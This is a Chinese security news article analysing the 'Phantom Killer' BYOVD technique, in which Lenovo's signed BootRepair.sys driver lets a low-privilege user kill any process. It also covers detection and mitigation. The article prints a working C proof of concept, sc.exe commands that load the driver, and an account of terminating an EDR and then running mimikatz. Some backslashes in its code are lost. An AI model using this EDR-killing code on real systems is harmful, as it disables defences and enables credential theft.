导语: Bring Your Own Vulnerable Driver(BYOVD)攻击已经成为红队和真实攻击者的标配技术。最新案例是安全研究人员发现的Phantom Killer——利用联想笔记本附带的一个合法签名驱动,让任何低权限用户都可以在Kernel模式下终止任何进程。
一、背景:什么是BYOVD
BYOVD(自带漏洞驱动)是一种利用合法签名但存在安全漏洞的驱动程序进行攻击的技术。攻击者加载这些驱动到系统内核后,可以执行特权操作——包括终止防病毒软件和EDR进程。
这种技术的关键在于:
- 驱动是正规厂商签名,微软默认信任
- 驱动本身存在设计缺陷,可被低权限用户滥用
- 一旦加载到内核,所有用户态保护都失效
二、漏洞分析:BootRepair.sys
2.1 驱动来源
这次漏洞的主角是联想PC Manager工具中的BootRepair.sys驱动。病毒分析显示:
文件名:BootRepair.sys SHA-256:5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946 签名状态:由联想有效签名的正式驱动
2.2 漏洞详情
安全研究人员在逆向工程中发现该驱动存在以下问题:
问题一:设备对象无DACL限制
// 驱动创建设备对象
IoCreateDevice(
DeviceExtension,
0,
L"\Device\::BootRepair", // 注意这个特殊命名
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&DeviceObject
);
设备对象创建时没有设置安全描述符,任何用户都可以通过\.BootRepair打开该设备的句柄。
问题二:IOCTL无权限检查
// MajorFunction[14] 处理IOCTL
switch(ControlCode) {
case 0x222014: // 唯一的IOCTL
if (InputBufferLength == 4) {
// 直接传递PID给进程终止函数
TerminateProcessByPID(InputBuffer);
}
break;
}
该驱动只有一个IOCTL(0x222014),且完全没有访问检查。任何用户都可以发送任意PID,驱动会立即终止该进程。
问题三:内核级进程终止
// 进程终止函数
VOID TerminateProcessByPID(PULONG ProcessId) {
PEPROCESS Process;
// 通过PID获取EPROCESS
PsLookupProcessByProcessId(ProcessId, &Process);
// 直接调用内核终止
ZwTerminateProcess(Process, 0);
}
这个函数直接使用PID获取EPROCESS,然后调用内核函数终止进程——受保护进程也不例外。
三、攻击方式
3.1 场景一:驱动已在运行
如果目标系统已经加载了BootRepair.sys(如安装了联想PC Manager),攻击者可以直接使用:
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc != 2) {
printf("usage: phantom.exe <pid>n");
return 1;
}
DWORD pid = atoi(argv[1]);
// 打开驱动设备
HANDLE h = CreateFileW(
L"\\.\BootRepair",
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
0, NULL
);
if (h == INVALID_HANDLE_VALUE) {
printf("[-] open failed: %dn", GetLastError());
return 1;
}
DWORD ret;
// 发送终止命令
if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL))
printf("[+] killed %dn", pid);
else
printf("[-] ioctl failed: %dn", GetLastError());
CloseHandle(h);
return 0;
}
3.2 场景二:BYOVD攻击
如果驱动未加载,攻击者可以自行加载:
# 加载恶意驱动
sc.exe create PhantomKiller binPath="C:BootRepair.sys" type=kernel
sc.exe start PhantomKiller
签名驱动可以成功加载到内核,然后使用相同的代码终止目标进程。
四、实测效果
研究人员在测试环境中针对CrowdStrike Falcon进行了测试:
- 系统状态:CrowdStrike正常运行,进程受保护
- 加载驱动:使用sc.exe成功加载BootRepair.sys
- 执行攻击:运行Phantom.exe,传入CrowdStrike进程PID
- 结果:CrowdStrike进程被成功终止
在终止EDR后,研究人员成功执行了mimikatz等凭据窃取工具——这正是BYOVD攻击的典型应用场景。
五、影响范围
这个问题影响所有安装了联想PC Manager的系统:
- 联想笔记本(Yoga、ThinkPad、IdeaPad等)
- 台式机和工作站(预装联想工具的型号)
攻击者可以利用此漏洞:
- 终止防病毒软件
- 禁用EDR
- 终止受保护进程(如lsass.exe)
- 加载其他内核级rootkit
六、检测和防御
6.1 检测方法
监控驱动加载:
Get-WinEvent -FilterHashtable @{LogName="System";ID=6} |
Where-Object {$_.Message -match "BootRepair"}
监控异常进程终止: 在SIEM中创建规则,监控短时间内大量进程终止事件
检测Phantom工具: 搜索是否存在与公开PoC特征匹配的可执行文件
6.2 防御建议
短期缓解:
- 阻止BootRepair.sys的加载(加入驱动黑名单)
- 监控sc.exe对内核驱动的创建
- 启用Windows Defender的驱动加载保护
长期方案:
- 使用微软的HVCI(Hypervisor-protected Code Integrity)
- 部署反作弊驱动签名规则
- 考虑使用EDR的内存保护功能
七、漏洞披露时间线
- 发现:安全研究人员发现该驱动存在设计缺陷
- 逆向:完成对驱动的完整逆向工程
- 报告:向联想安全团队报告
- 公开:研究人员决定公开技术细节和PoC
值得注意的是,研究人员提到之前曾因发布类似工具导致GitHub账户被封禁,因此这次选择自建Git实例分发。
八、总结
Phantom Killer再次证明了BYOVD攻击的现实威胁。即便是知名品牌附带的”合法”驱动,也可能存在严重的安全问题。安全团队需要认识到:
- 驱动白名单不是银弹:签名驱动也会成为攻击武器
- 低权限不等于安全:系统设计缺陷可以让低权限用户执行高危操作
- 纵深防御仍然必要:即使EDR被终止,也要有其他检测机制
对于终端安全而言,需要从单纯的”能否运行”转向”是否正常”的行为检测模型。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容